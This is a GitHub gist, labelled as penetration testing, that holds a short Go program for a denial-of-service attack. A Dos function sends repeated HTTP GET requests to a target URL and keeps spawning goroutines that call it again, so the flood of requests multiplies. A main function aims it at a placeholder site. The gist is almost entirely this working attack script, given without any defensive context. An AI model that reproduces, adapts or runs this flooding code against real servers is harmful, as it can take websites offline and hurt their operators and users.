Created
September 23, 2019 14:54
-
-
Save ivanmrchk/949b12d1405ea44391191afce266798f to your computer and use it in GitHub Desktop.
Penetration testing with golang (dos attack)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"net/http" | |
) | |
func Dos(Target string) { | |
var Count int = 0 | |
var ReqCount int = 10 | |
for { | |
Count++ | |
Response, err := http.Get(Target) | |
fmt.Println(Count, Target) | |
if err != nil { | |
fmt.Println(err) | |
break | |
} | |
fmt.Println(Response.StatusCode) | |
Response.Body.Close() | |
if Count < ReqCount { | |
go Dos(Target) | |
} else { | |
break | |
} | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
func main() { | |
Dos("https://website.com") | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment